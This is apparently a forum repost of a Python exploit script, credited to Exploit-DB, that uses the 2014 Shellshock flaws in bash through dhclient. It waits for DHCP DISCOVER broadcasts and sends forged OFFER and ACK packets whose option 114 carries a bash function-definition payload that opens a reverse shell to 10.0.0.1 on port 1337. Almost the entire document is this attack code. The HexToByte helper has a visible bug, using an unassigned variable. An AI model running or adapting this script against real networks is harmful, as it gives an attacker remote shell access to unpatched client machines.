GNU bash 4.3.11 Environment Variable dhclient Exploit

[Nytro]

[h=1]GNU bash 4.3.11 Environment Variable dhclient Exploit[/h]

#!/usr/bin/python

# Exploit Title: dhclient shellshocker

# Google Dork: n/a

# Date: 10/1/14

# Exploit Author: @0x00string

# Vendor Homepage: gnu.org

# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz

# Version: 4.3.11

# Tested on: Ubuntu 14.04.1

# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187

# ______ ______ ______ _

# / __ | / __ |/ __ | _ (_)

#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___

#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)

#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |

# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/

# (_____|

# _ _ _ _

# | | | | (_) _

# _ | | | _ ____| |_ ____ ____ | |_

# / || | || \ / ___) | |/ _ ) _ \| _)

#( (_| | | | ( (___| | ( (/ /| | | | |__

# \____|_| |_|\____)_|_|\____)_| |_|\___)

#

# _ _ _ _ _

# | | | | | | | | |

# ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____

# /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___)

#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |

#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|

# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts

# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out

# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.

# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.

import socket, struct

def HexToByte( hexStr ):

b = []

h = ''.join( h.split(" ") )

for i in range(0, len(h), 2):

b.append( chr( int (h[i:i+2], 16 ) ) )

return ''.join( b )

rport = 68

lport = 67

bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bsock.bind(("<broadcast>", lport))

while True:

OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114

URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")

URLLEN = chr(len(URL) / 2).encode("hex")

END = "03040a000001ff"

broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)

hexip = broadcast_get[245:249]

rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))

XID = broadcast_get[4:8].encode("hex")

chaddr = broadcast_get[29:34].encode("hex")

print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"

OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END

OFFER_BYTES = HexToByte(OFFER)

ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END

ACK_BYTES = HexToByte(ACK)

print "[+]\tsending evil offer\n"

sock.sendto(OFFER_BYTES, (rhost, rport))

broadcast_get2 = bsock.recvfrom(2048)

print "[+]\tassuming request was received, sending ACK\n"

sock.sendto(ACK_BYTES, (rhost, rport))

Sursa: http://www.exploit-db.com/exploits/34860/